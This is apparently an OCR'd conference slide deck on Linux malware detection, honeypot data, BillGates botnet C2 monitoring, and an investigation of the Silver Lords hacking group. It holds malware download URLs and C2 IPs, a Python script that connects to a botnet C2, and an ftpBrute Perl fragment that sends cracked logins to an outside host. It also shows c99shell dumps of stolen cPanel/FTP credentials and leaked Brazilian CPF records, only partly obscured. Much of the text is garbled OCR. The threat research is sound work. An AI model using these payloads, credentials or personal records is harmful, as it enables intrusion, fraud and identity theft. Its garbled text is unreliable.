S whoami

bit<master@zomeye.org>
GitHub/Twitter @zom3y3

#Pentest #C # Antivirus #Python

7
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f&i s

FindMalware & (HC/IC++E 595, &EiWindowsHILinux--& 1% & HAFE B
TH. HUIPE. ELF [RIBEIEAEENFESFHERANEE KM, kI Esocketidf5
RICEE#IFCNC., Rk ANEWER 75 B RERDIEE, BB RETH M. HE. W
HEER, FBCE =i s i & 3T = B A .

i H #udilk: https://github.com/zom3y3/findmalware
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root@kali: ~/Desktop

File Edit View Search Terminal Help

/usr/lib/tracker/tracker-extract not virus “
/usr/lib/tracker/tracker-miner-apps not virus
/usr/bin/zeitgeist-daemon not virus
/usr/lib/zeitgeist/zeitgeist-fts not virus
/usr/bin/nautilus not virus
/usr/lib/tracker/tracker-miner-fs not virus
/usr/1ib/x86_64-1inux-gnu/gconf/gconfd-2 not virus
/usr/lib/gvfs/gvfsd-trash not virus
/usr/lib/evolution/evolution-calendar-factory not virus
/usr/lib/evolution/evolution-calendar-factory-subprocess not virus
/usr/lib/evolution/evolution-calendar-factory-subprocess not virus
/usr/lib/evolution/evolution-addressbook-factory not virus
/usr/lib/evolution/evolution-addressbook-factory-subprocess not virus
/usr/1lib/gvfs/gvfsd-metadata not virus
/usr/lib/gnome-terminal/gnome-terminal-server not virus
/bin/bash not virus
/root/Desktop/findmalware not virus
--------------- Scan completed successfully ----------------
Scan completed in 9.074197 seconds, 96.534011 ms/file.
Number of scanned objects: 94
Number of infected objects: 0
Number of Packed objects: 0
Number of cleaned objects: 0

:~/Desktop# i [}

gmt_create virus_name section_hash file_md5 file_path remote_ip

2016-03-24 15:02:02  Linux/Setag.B.Gen 3df216cafc77d0f84566e6173bb97dbac5c0deed 78de3e54578c23174e9433d0ee978239  /root/li<x>nko 120.25.125.68:25000 ESTABLISHED;
2016-03-24 15:02:02  File deleted 0000000000000000000000000000000000000000  00000000000000000000000000000000  /usr/bin/bsd-port/getty (deleted) 123.184.19.222:6001 ESTABLISHED;
2016-03-24 15:02:02  Linux/Setag.B.Gen 3df216cafc77d0f84566e6173bb97dbac5c0dee4 78de3e54578c23174e9433d0ee978239  /usr/bin/.sshd

2016-03-24 15:04:31  Linux/Setag.B.Gen 3df216cafc77d0f84566e6173bb97dbac5c0deed4  78de3e54578c23174e9433d0ee978239  /root/li<x>nko 120.25.125.68:25000 ESTABLISHED;
2016-03-24 15:04:31  File deleted 0000000000000000000000000000000000000000  00000000000000000000000000000000  /usr/bin/bsd-port/getty (deleted) 123.184.19.222:6001 ESTABLISHED;
2016-03-24 15:04:31  Linux/Setag.B.Gen 3df216cafc77d0f84566e6173bb97dbac5c0dee4d 78de3e54578¢c23174e9433d0ee978239  /usr/bin/.sshd

gmt_create client_ip infect_count clean_count scan_total_time scan_type os_platform os_version

2016-03-24 14:59:53 123.56.92.208 0 1.2631 procScan Linux64 Linux version 2.6.32-573.18.1.el6.x86_64 (mockbuild@:
2016-03-24 15:01:32 123.56.92.208 0 1.212869 procScan Linux64 Linux version 2.6.32-573.18.1.el6.x86_64 (mockbuild@:
2016-03-24 15:02:03 123.56.92.208 0 12.175591 procScan Linux64 Linux version 2.6.32-573.18.1.el6.x86_64 (mockbuild@:
2016-03-24 15:04:31 123.56.92.208 : 0 1.168979 procScan Linux64 Linux version 2.6.32-573.18.1.el6.x86_64 (mockbuild@:
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SEPERIE RS

Top Behig Top K- Top WILEE#E Top HIERO

dionaea.capture

glastopf.events

dionaea.connections

Top B Top JRHEFFE

CC\..HU"V‘ i 0 count 0T ssh_username count ssh_password count
2 EHEM P 325 4565 2345
HE




url

http://222.186.134.243:8181/mgg
http://221.229.172.44:81/f6ho
http://222.186.34.69:45421/sa
http://222.186.34.157:888/10086
http://111.73.46.160:888/xiage8uc
http://221.229.172.44:81/i37r1j
http://accesdenied.hi2.ro/leu.pdf
http://111.73.46.160:888/Linux2.6
http://222.186.134.244:8888/uu
https://udger.com/resources/datacenter-list
http://183.60.203.215:59193/zsshv9.rar
http://122.10.99.138:1022/10881xb
http://222.186.58.186:7812/Xiniu
http://5.206.225.41/vxrwboy.pl
http://107.178.96.47 /bins.sh
http://222.186.134.243:8181/mgg
http://93.158.200.115/one.sh
http://222.186.134.244:8989/qa

ht+n-//EQ A2 1AA 7N-Q1 /iQAc

shasum
321bbc7033511880cd014bf4eb02c69d00e3b7d4d85eb5¢c90789b895b90ffde
3cfc749a10fb708aac1b255d0fd2fb0fe3bcff19adb638421aab8fabb6621852
4612cf7d6e5fb78b8566d52c9f1711150bf05bcd2983ed11c4924a2¢c1584c3e9
4c84cb9bb3bc6f37b84f062¢c1f46388ef96b1d175¢c89¢37cb42e3bbcf044f255
4eeb7986cdd5b7e95252913b63f0673c42703026e865b727daaf0298261620
5022e32cf32a67337aec601a2078¢c7194c80d196c18a5e972ed6f23¢c276fd03f
510036797d705163eff89ea51173a47e4b57a6e52730b09be94177b0acbde99
52a6e48f9d303471185d2dc681419%acc6ef3f43fc7c64e9f1d481680634e71cc
Saal4e2a2b13a134bd8128cbedal72c4a6567cdd4bd91249489b430854d771
606f9319cd97a199e628d623e2549bdd7d7a08fba5199abe68d139c735e35¢ek
617efd09ffd19d1f70a0f9b3aed510ad76f5d8d4667176335350c9553¢c23dcba
676cff349c40eedaacffalel57effb53b4ea215e5be7b38cfcb21f3aebebb862
68672b7c83d93b1f2aa%e¢adfdc172bbaf3587814361dad279565b413977b8f6(
6944465dcc075140e328b6b89¢c9628aa137862a1bf9d903e70b97f803d5a647
79c941afd9865e3f09c1606bdfdbb3640ab7fdb52de47a39dffe7df89f15a600
7ad579b16d48323c1d53c0dc75e34e21fa63686f5b9b4c506b20b20c3095911:
7¢57f37b44adb9102cb2c9813eae3390492d635879f37ff742b7c88bbad97af33
89e11b235031251673f18b82d1be0654370fb89af50c4f68b62489790515¢ca3a

2A0hQaN?2323232a8ARKEAFfaad27h1af121218Q1-2821230Aha72NATIaARF7a~A12N0A



SEPERIE RS

Top ek

Top ek

src Country Region
2 2 1 =33
HE
HE
£
2@
e

pe

url
http://222.186.134.243:814
http://221.229.172.44:81/f4
http://222.186.34.69:4542
http://222.186.34.157:888,
http://111.73.46.160:888/4
http://221.229.172.44:81/i
http://accesdenied.hi2.ro/I
http://111.73.46.160:888/
http://222.186.134.244:884
https://udger.com/resourd
http://183.60.203.215:5914
http://122.10.99.138:1022
http://222.186.58.186:781]
http://5.206.225.41/vxrwb(
http://107.178.96.47/bins.{
http://222.186.134.243:814
http://93.158.200.115/one
http://222.186.134.244:89

ht+n-//EQ A2 1AR 7N-Q1 /iQ~d

City count
SRS 4267
=

THE GAME

HAS ONLY JUST
BEGUN

185eb5c90789b895b90ffde
38421aab8fabb6621852
83ed11c4924a2¢c1584c3e9
B9c37cb42e3bbcf044f255
865b727daaf0298261f620
8a5e972ed6f23c276fd03f
30b09be94177b0acbde99
64e9f1d481680634e71cc
bd91249489b430854d7f71
5199abe68d139c735e35¢ek
176335350¢9553c23dc6a
b38cfcb21f3aebebb862
1dad279565b413977b8f6(
fod903e70b97f803d5a647
e47a39dffe7df89f15a600

h9b4c506b20b20c309591

Of37ff742b7c88bbag7af33

b0c4f68b62489790515¢ca3a
L0Rha72nA72248F75~12000

i <

count ssh_password

\

5060

count
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ValdikSS / billgates-botnet-tracker @OWatch 17  KStar 74  YFork 19
<> Code Issues 0

Some tools to monitor BillGates CnC ser

master v Find file

™) valdikss Hanc

ValdikSS
ValdikSS e
) LICENSE

ProstoVPN.org B README.md

Russia EE README.md

What's this?

Here are some tools written in Python to monitor BillGates Linux Botnet activity (DDoS commands, update commands, etc).

What's BillGates?

Well, that's a Linux botnet I've found in February, 2014. It it splitted in modules usually called atddd, cupsdd, cupsddh,
ksapdd, kysapdd, sksapdd, skysapdd.

cupsdd is the main module which I call "Gates" (because it locks /tmp/gates.lock). It unpacks cupsddh ("Bill") module (the last
character depends on configuration) to the directory where the cupsdd is stored (usually /etc), creates
/etc/init.d/DbSecuritySpt and makes symlinks to it in /etc/rc[1-5].d/97DbSecuritySpt , establishes connection to "Gates”
CnC server on IP 116.10.189.246. Newer version of "Gates" module also includes Monitor module "moni”. It copies itself to
/usr/bin/pojie and acts as “moni” only if ran as /usr/bin/pojie. "Bill" can perform simple DDoS.

https://github.com/ValdikSS/billgates-botnet-tracker




PkigkLinux/Setag.B.GenfFZ ( 80d0cac0cd6be8010819fdcd7ac4af46 )

YERZRMTITER
hello2.bin | hellol.bin

Offset 0 1
gooooooo 01 00
Qo0oo0o010 00 EB8
Qooooozo 00 00
gooooo30 C0o a8
0o0oooo40  FF FF
0oooooso 20 41
00000060 0
gooooo7o 32 2D
0o0oo0o0s0 3A 47

Offset
00000000
00000010
00000020
00000030
00000040
00000050

&

P |
A7 1A 1A 1A
Vi -== Love
AV ==-: *
W Linux 2.6.3
2-573.el6.1686 1
:G2.40

hello2.bin | hello1.bin

01 2 3
2 00 00 0O
00 00 00
00000020 19 01 0O 00 0O OO OO OO

ping.bin

Of fset
00000000 [§o

9 A B C D E F
) 00 00 00 00 00 00
[0 0o 02 01 00 00 OO0 OO




69 hellol = open('hellol.bin', 'rb').read()
70 hello2 = open('hello2.bin', 'rb').read()
71 ping = open('ping.bin', 'rb').read()

72 save = open('unknown-commands.bin', 'wt+b'")
73

74 [Hdef gates () :

75 myprint ("Start!")

76 s = socket.create connection(('23.234.50.12", 25004))
77 myprint ("Connected™)

78 s.sendall (hellol)

79 myprint ("Sent hellol™)

80 time.sleep(0.1)

81 s.sendall (hello2)

82 myprint ("Sent hello2™)

83

84 #print (hexdump (data))

85 #myprint ("Received server hello")

86

87 O while True:

88 data = s.recv(1024)

89 s.sendall (ping)

90 - decode_ command (data)

91

92 Hif name == " main ":

93 H while True:

94 {H try:

95 gates ()

96 H except socket.error:

97 myprint ("Connection lost. Reconnecting...")

98 time.sleep(5)



__cdecl encrypt_code{int a1, int a2)

signed int v2; // ecx@2

if ( a2 > 8)
{

v2 = 8;

do

{
*( BYTE *)(u2 + al)

¥
while { v2 *= a2 );
¥

return al;

text
idx = 0

"= xorkeys[({( BYTE)vu2 + ({unsigned int){u2 >> 31) >> 28)) & 0OxF)

- {((unsigned int){v2 >> 31) >> 28)];

while idx < len(data):
ch = struct.unpack("B", datal[idx]) [0]
ibx = ((idx + (abs(idx >> 31) >> )) & 0xf) = (abs(idx >> 31) >>
k = struct.unpack("B",keyl[ibx]) [0

ch=ch”*k

text += struct.pack("B",ch)

idx +=1
return text




Key

4 3
4

Value Type
cnc_domain String
atk_details {5 fields } Object
@ atk_info [ 20 elements | Array

4 0] { 3 fields } Object
=) atk_port 10001 Int32
= atk_domain String
= atk_ip 116.31.119.101 String

b3 1] {3 fields } Object

b &3 [2] {3 fields } Object

b 3 [3] {3 fields} Object

b &3 [4] {3 fields } Object

b 3 [5] {3 fields } Object

b &3 [6] {3 fields } Object

b @ [7] {3 fields } Object

b 3 [8] {3 fields} Object

b &3 [9] {3 fields } Object

b €3 [10] {3 fields } Object

b3 [11] {3 fields } Object

b &3 [12] {3 fields} Object

b3 [13] {3 fields } Object

b & [14] {3 fields } Object

b €3 [15] {3 fields } Object

b €3 [16] {3 fields } Object

b &3 [17] {3 fields} Object

b €3 [18] {3 fields } Object

b3 [19] {3 fields } Object

2 atk_time 30s String

L=/ atk_count 20 Int32

|& payload_size 391 Int32

2 atk_type SYN_DDoS String

gmt_create 2016-08-02 15:44:47 String
cnc_port 25000 Int32
cnc_ip 61.147.103.157 String
gmt_modify 2016-08-02 15:44:47 String
* threat_name Backdoor/Linux.Setag.B_E String
* command_type DDoS String



mIRE

T

Decrypted
Command Data

2 LTS 2 4 E SO
Montior Bot 1 Montior Bot 2 Montior Bot 3 Montior Bot ...
5 = =
c c c c
© © © ©
£ £ £ £
£ £ E £
(o] (o] (o] (o]
- -
BEHLA [ | BEE [ | BEHRC | BEm -
Protocol A Protocol B Protocol C Protocol ..
BillGatesEF M= XorddosEFME DofloofBFPME Botnet
BillGates Botnet Xorddos Botnet Dofloo Botnet

o0 0
8 8 W |

Attacker 1 Attacker 2 Attacker 3 Attacker ...



Canada

United States

Mexico

Guatemala

Venezuela
Colombia

Ecuador

s.atk_info{

vineu nngu
eiap Poland
Germany
Ukraine
Romania

Spain
Greece Turkey

Tunisia

Algeria

Saudi Arabia

Niger
< Sudan

Ghana | 01 Ethiopia

Cameroon

Kenya

Yemen

Iran

Kazakhstan

Uzbekistan

Afghanistan

Pakistan

Nepal

India

SriLanka

Mongolia

N.Korea

S. Korea

A

&
£ Wan

Vietnam
Thailand
Philippines

Malaysia

FiandiE v

Q




source="DDoS_Command.json" | spath "atk_details.atk_info{}" | search "atk_details.atk_info{}.atk_ip"!="" AND "atk_details.atk_info{}.atk_ip"!="1.1.1.1" |top 500 "atk_details.atk_info{}.atk_ip"| iplocation "atk_details.atk_info{}.atk_ip"

lang=zh-CN | search Country="rhE"

g

- |Q |

11q0n 120 00

v 22,768 B4 (16/08/18 17:49:21.000 Z&i) No Event Sampling v Fv 1 W » & L * WA v
B R HitfEE (26) | BN
004y ARy RV Gk 1 2 4 T—%>
atk_details.atk_info{}.atk_ip © count © percent ¢ | City & Country © Region = lat = lon =
183.131.212.65 1427 6267569 gfk HE I 29.10680 119.64420
43.227.194.180 1161 5099262 il hE I 30.29360 12016140
110.80.137.34 919 4036367 @M hE By 26.06140 119.30610
43227192111 894 3926564 hiE HIE 30.29360 120.16140
50.56.97.117 885 3887034 R hE p 20 26.06140 119.30610
50.56.111.31 847 3720134 @M hiE pe 0y 26.06140 119.30610
110.80.138.167 839 3684996 IR hiE p 20 26.06140 119.30610
110.80.139.19 828 3636683 IR hiE pet 0 26.06140 11930610
183.2.206.8 822 3610330 [ hiE I 23.11670 113.25000
59.56.97.8 811 3562017 i@ hE p 2y 26.06140 119.30610
61.147.247.191 750 3294097 ER HE IHE 3206170 118.77780
218.93.206.214 727 3193078 I hE TS 3206170 118.77780
183.2.206.45 690 3030569 [ hE I 2311670 113.25000
222187.220.137 680 2986648  Sugian hiE STHE 33.94920 11829580
27.151.28.44 666 2925158 i@ hiE Ry 26.06140 119.30610
183.2.206.49 655 2876845 M hE IS 2311670 113.25000
153.36.240.66 646 2837316 ER hE pibiic] 3206170 118.77780
43.241.50.205 642 2819747 A0 hE pe 0y 2501670 116.71160
183.2.207.74 640 2810963 [ hiE I 23.11670 113.25000
120.41.33.69 595 2613317 @M hiE p 0y 26.06140 119.30610
183.131.220.31 593 2604533 43%H HE HIE 30.01100 120.57150
120.41.33.97 577 2534250 J@ME hiE p 0y 26.06140 119.30610
183.2.206.27 571 2507906 [ hiE I 2311670 113.25000
222187.221.63 560 2459592  Sugian hE ST 33.94920 118.29580
RRQ 2 ARNGNG  IEMIET rhi@ B 2R NAR1AN 110 2NAIN



source="DDoS_Command.json" | spath "atk_details.atk_info{}" | search "atk_details.atk_info{}.atk_ip"!="" AND "atk_details.atk_info{}.atk_ip"!="1.1.1.1" |top 10000 "atk_details.atk_info{}.atk_ip"| iplocation allfields=true FiaRtiE v Q ‘
"atk_details.atk_info{}.atk_ip" lang=zh-CN |rename atk_details.atk_info{}.atk_ip as "FEHIP" count as "WIzHKE" lat as "HE" lon as "ZE" | table "FEZIP", "WIERE", Country, Region, City, "BE", "HE"

)

v 22,768 NSt (16/08/24 16:17:56.000 Z#) No Event Sampling v #E5v 1 W » & L * WEGER v
= =R SHER (3727) | Ak
/R0 v AR RV GikE 1 2 3 4 5 6 7 8 9 T—%>
FEEP - WEra e © | Country © Region © City © RE ° HE
184.28218.83 3064 X£E Massachusetts S -71.08430 4236260
80.239.171.65 2960 -0.12240 51.49640
63.130.76.83 2960 X£E Massachusetts S -71.08430 4236260
63.243.244.50 2936 £E Massachusetts St -71.08430 4236260
210.0.146.160 2933 FH bl 114.18330 2238330
1232151989 2931 ASHRE ERIEEIm ERIEEIm 126.97830 37.59850
184.28.218.80 2930 £E Massachusetts S45 -71.08430 4236260
96.7.54.57 2000 X£E Massachusetts S 71.08430 4236260
96.6.123.73 2900 E Massachusetts St -71.08430 4236260
96.6.123.106 2000 £E Massachusetts S 71.08430 4236260
96.17.72.9 2900 #£E Massachusetts St -71.08430 4236260
96.17.72.73 2900 EFE Massachusetts il -71.08430 42 36260
96.17.151.49 2900 £E Massachusetts il -71.08430 4236260
96.17.151.43 2000 X£E Massachusetts S5 -71.08430 4236260
72.246.188.9 2900 £E Massachusetts Eil -71.10280 4236460
72.246.188.107 2000 £E Massachusetts S -71.10280 4236460
72165.119.16 2000 XE -97.82200 37.75100
66.198.26.41 2900 £E Massachusetts S5 -71.08430 4236260
66.198.26.34 2000 XE Massachusetts S5 71.08430 4236260
66.110.33.219 2900 £E Massachusetts S5 -71.08430 4236260
66.110.33 24§ 2000 X£E Massachusetts S5 -71.08430 4236260
2900 #£E -97.82200 37.75100
2000 X£E -97.82200 37.75100
2900 #£E -97.82200 37.75100

2900 £H -97.82200 37.75100




source="DDoS_Command.json" | spath "atk_details.atk_info{}" | search "atk_details.atk_info{}.atk_ip"! AND "atk_details.atk_info{}.atk_ip"!="1.1.1.1"| top "atk_details.atk_time" | rename atk_details.atk_time as "IzHA{HE" count as "&Hiti#” Fiaatia v Q
|table "BiEHRHR", "GRIHRE" |, percent
v

22,768 S (16/08/24 16:37:46.000 Z/&j) No Event Sampling v

#y 1 m o, & L * A v

B B/ HHER00) AL

SR04V Aty v

TehAe © St - percent
30s 14505 64.443753
8s 4364 19.388662
65 2040 9.063444
20s 359 1.594988
55 281 1.248445
29s 193 0.857473
60s 165 0733073
10s 164 0728630
15s 137 0.608672
27s

60 0.266572.




DDOS ESzi)

v
DDOS 11:43
SmartQQE £ WebQQ¥ 11 m—

P&, 72 15 THAEWebOS = F
& e A — 2R Al g Hop
KT HE, #@wm s

SmartQQIB{E X, A LA
SEHLQQEE I BEF= IS5,

DDOS

KElsyn TEE NS KEEISE HANEHEAR
F 220Gzl

FIUAIPE =S R SR

Z=shellZz 5

AEddosimizsa st

2
2
2
2
a3
2
2

(3

Botnet DDOSMIRiH

Z=shellZz 5

Y) DDOSHENT

Lz 2 1 £ ¢ | o m—
/ / 2F | ERA %5 "E
i H k. https:/github.com/zom3y3/QQSpider






Lsource="qq_!

.data"| spath "value.content{}" | regex "value.content{}"="\b(([01]?\d?\d|2[0-4]\d|25[0-5])\.){3}([01]?\d?\d|2[0-4]\d|25[0-5])\b"

v

134 M1 (16/08/17 14:37:22.000 Z4i)

No Event Sampling v

B30

RSEREERIET, v

<REFR

HEFH

a value.content} 100+
# value from_uin 5

# value.group_code 5
# valuemsg_id 100+
# valuetime 100+

FAEEFER

# date_hour 17
# date_mday 18
# date_minute 20
a date_month 9
# date_second 18
a date_wday 7

# date_year 6

# date_zone 1

a host 1

a index 1

# linecount 1

23:16:56.000

AL
+HERERTERIE  XBUHRE
- — — | J— . |
FEv MR BRS04
_time aluetime © alue.group_code value from_uin &
15/02/10 1470838657 54216 3542905287 3542905287 FE%11274.191.23
7:14:38.000
14/08/07 1470916569 444 3542905287 3542905287 B ERRAIPHE RO 1231231231231 23R T S R BENE
23:16:56.000
15/02/10 1470904624 34004 3542905287 3542905287 E;ipF220.169.242.28
7:14:38.000
13/05/30 1470848260 7649 3542905287 3542905287 H3E106.226.74.209
18:52:08.000
14/08/07 1470916589 450 3542905287 3542905287 B3R 127.0.0.1:80 048 600 (BHFHE)
23:16:56.000
13/05/03 1470818158 13857 3542905287 3542905287 FA75IP: 180.140.11.131 - Fssvh miE
20:06:47.000
141222 1470834400 5321 3542905287 3542905287 BHIMSIARITAE T
19:51:06.000 58.241.250.75:36581
14/08/07 1470917758 57158 3542905287 3542905287 EHMH51.254.72.183: 80
23:16:56.000
14/08/07 1470916733 49409 3542905287 3542905287 [EHMi 222 186.30.45:80
23:16:56.000
14/08/07 1470916726 11473 3542905287 3542905287 EHMi 127.0.0.3:80




Silver Lords

2014 F12H315,%& HH T E A
@4 -ftpBrute - AI3xGO
%%?ﬁﬁ%LE%?J 4o g voui SN 1 Argus

R4 ZiSilver ey (0 W Ankhman
Lords,ﬂ%ﬁﬁlixss/)ﬁ'ﬁ?ﬂ e % ' ' Flythiago
it A\ Silver Lords HiE :;‘;}'f bl nulld
RRole '3 I -.

EILVER I;IJRI:IE

Suppoarting the Freedom Movement

7



Flaws on government websites are critical. In 2011 two very serious flaws in the Labor Ministry website
exposed an entire database with six months’ worth of data on every citizen in the country. A flaw in the
website's security left sensitive data out in the open, with only a CPF number (Brazilian SSN) required to
obtain further information about a person.

& httpy//www.rmte. gov.br/ s s -
B o

Arquivo Editar Exibir Faveeitos  Feramentas  Ajuds

alidarcpf.asp?nrcpf

mte.gov.br;

b~

¢ Faveritos R Bt e mte.gav DS stemas/ i/ cnes/usoge... R m v Piginav Segurangav Feramentas v
- <ROCT>
<row NRCPF="SR"mmeme 1" NOPes sica= RENEPLEERE O TNascimento="13/11/1979" FDLogradouro="gm1"

NRLogradew 0="222" DSComple NOBairo="m mmwms' NRCEP ="grmmgmgmy’ NOMunCpo="mjmms sy SGUF="SP"
NOMae ="l il B CDSexo="1" STSituacaoCadastral="0" />
«/ROOT =

The CPF is one of the most important documents for anyone living in Brazil. The number is unique and is a
prerequisite for a series of tasks like opening bank accounts, to get or renew a driver's license, buy or sell
real estate, obtain loans, apply for a jobs (especially in the public sector), and to get a passport or credit
cards. Leaked data makes it possible for a cybercriminal to impersonate the victim and to steal their identity
in order to, for example, get a loan from a bank.

Fabio Assolini

Senior Security Researcher at GReAT
@Kaspersky, podcaster
@SegurancaLegal. Christian, electronic
music lover. Tweets are my own in
English, Spanish, Portuguese

This is a case of where a data leak meets the phishers. Information of such quality can only be obtained
through data leak incidents. Not surprisingly, it is common for the Brazilian media to spot criminals selling
CDs carrying data from the Brazilian IRS system which includes a lot of sensitive data, including the CPF
numbers. You can find criminals selling CDs full of leaked database from several sources for a mere $100.
As a result of such data breaches, Brazilian phishers have created attacks with messages displaying the
complete name and the CPF number of the victim in an attempt to add legitimacy to a fake message.
Attacks such this one have happened regularly since 2011:

¢ Sao Paulo, Brazil
& kaspersky.com/about/security...
] Joined September 2008
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e N/]\NASAjII:T)ﬁ o Email R$1.00 cada 1K

SSH no-root R$1.00

SSH root R$20.00

* 1000+ Cpanel Cpanel R$4.00
FTP R$1.00

150 bot envio 1K
s 5 3 milhoe S >mane
° 7000+ C99$h€” Ddos 5gbs+3 milhoes pps 1K semana
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) { substr(
) { substr(
) { substr(

Fforeach

if (

BHif (

next if (length(
= substxr(

r}

Hforeach

if (

Hif (

next if (length(
= substr(

r}

&scan (

}

-}

Jsub scan {
= [01;
= [117
= [21;
#print Shost.':'.Suser.':'.$pass.”™ ... \r\n";
= Net::FTP->new("S$host",Debug => 0,Timeout => 7)
->login("$user”,"$pass”) || next;
->quit;
use LWP::Simple;

my = DTN

getprint ("http://pos
exit (0) ;

exit;

Suname”) ;
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ftpBrute

phpbot

CPF

bainel.cyberunder.org/painel.g

painel.cyberunder.org/cpanel.
php

SEfBlcPanl e it %

bainel.cyberunder.org/c99shel
.php

% P uti:C99webshell

pbotcyberunder.org:443

% F'ii:phpbot.php

irc.silverlords.org:443#nmap

% F1i:shelIBot.pl

bainel.cyberunder.org/dados.q
hp

BEALCP P 3%




C99shell Exportagao

DATA

06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015

CPANEL (1223)

http://overlandtgme comgany.cpomgeranel USE verland == 3 q1ws = 5r4t5
http://afabbes. gubigganel = =: afabbss 2 1239 war
hitp:/itoolfy.con’™ B& 2l USE™ ifv "N%. toolR

http:/imasterbrissfa.coi’ ricpass ~SER: mas'm br PASS Sarllm 123
http://shamycyg m® g, acpane  3ER: shamy sacis WS 1 5456

hittp:/Awww i com amomms! USER: inbassss PASS: 345678
hitp:/wwi T el e riacaaii. comgmpane!l.’ ® 0 mebmimmr PASS: herbes = iaconchi

hitp: /i & Bg a's co ™ Mi/cpane] (M) Ratypi ll ™= mudar123

hitp: /s disall Bm &= neticpanel ¢ SER: kule wikitom fur PASS: g1we

C99shell Exportagao

ID

518137
518136
518133
518132
518128

HORA
00:01:05
23:.01:15
20:01:16
18:01:39
16:01:33

DATA

06-01-2015
05-01-2015
05-01-2015
05-01-2015
05-01-2015

Ftps (26884) USER SENHA
72 com 10wzl Jamcall
7108 com 7an 77an
707 = .com Tk Pk

BSweem 10 pebiaopin.com
WWiIBIis.org itgmends immds



C99shell

Exportacao

ID

10275
10274
10273
10271
10270
10269
10268
10267
10266
10265
10264
10263
10261
10256
10254
10253
10251
10250
10249
10248
10246
10244
10243

DATA

06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015
06-01-2015

C99shell (7768)

hittp://cum g mccominn.php
http:/gummmstar.com/nn.php
http:/its s ami/nn.php

hitp:/s & "% mi/nn.php

http:/Wws = o 2skates.com.br/nn.php
http://ar = spes 2minn.php

hitp://te gl Samenn.php

hitp:/iwe & «& & &.cominn.ph

http:Jigze w'w shp

http:/fwiss s’s g e.nl/nn.php
hitp://cegmey memohp

http:/ - n.ph

hitp://6%s" &9l Ehp

hitp: /s = & wm lista.com/nn.php
hito:/io: s .cinn.php

hitp:/fizd & &© & ““nn.php

hitp://2 &8 & = ww.com/nn.php

hitp:/ffeg m arbd.com/nn.ph
http:/msssssgn.com/nn.php



Exportagao

ID
225124
80122
562418
207330
640453
290405
175009
329314
332982
109855
382475
270566
385056
502149
345966
263219
174091
572102

CPF (622764)
117 .0
01CEM25ET1
000847 410
10m8028s 174
Ojsm*5om=n75
TENB9MR68
OB6ANIB62
C=hz77)868
C =93 =160
(L0867.7108
0227100
EN51471820
w0272
=07==120
M0m.5134
e 31813
4501628
60« -=)40115

NOME

ABILIO GONCAL i=@ mujpips

AALEX ARTUR B8 B TN

AALINE ZORA & =CO [ =i SANTOS

AAMES GUS = GITEDA® CHA

AARAO (' ®N™ = 'EIXEIRA" »_ PAULA

AARAC iR SERUYA

AARA( IB=ZCOA e CIEL

AARC S HENF§ FIOHE™

AAR = PER: =MAR! - ES

AAREES) VIGEESg

AARIIN VIR IAS O BILVA

Allsl| M. (UEDDRISSES

AllDIA /& sk § FERFRIRRA

ASmOIA m = | MAC= )0

AEDIA AL DA ImLVA

JEEDIA J"NEFERE. N VES LOPES
EDIASSEUSIINTRA

Afms w5ICUDO fsm>HADO DE AMORIM

DATA

23/(==932
30/08 7396
11/0° 88
05/01 = *84
03/04 =70
12/08 =183
26/02 7986
16/08 )08
12/0% =382
10/¢= =988
30/48 =996
16481941
16m 71977
08 #1946
15m81963
09/70M942
07871954
218,969

SEXO

E<EGE EVE R BCOROT BEOR

m:rm N e WM

MAE

JOANA /R (=

LUIMARS EDAQES “ILVA PANTA CORDE
LUIZASQUE 50A=: 3 PICANCO DOS §
GLAU! = LE" # DA = s3HA

MARIA N 8:CAC “=MOS

MERC®IES §.VES ""RRUYA

MARIS SALVESSACIES

RITA = VES " mIE==RQUES

AN/ ICIAEB==B( = VICENTIN
FRAIRIISCA™®GLI™NE DIAS

ADE=A ME==-D

SAN™ &4 C(s k= ~“IGUEIRO
FLOF===DE = »l =S DE OLIVEIRA
SANT== /e DA SILVA

LUIZA® B.EF 0°DE JESUS

TEREMEESE LIEEA DE ALMEIDA BARBOSA
MARIA ==RECHA MACHADO
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EXPLORE EVERYTHING, EXPLOIT EVERYTHING !

Enjoy Hacking !
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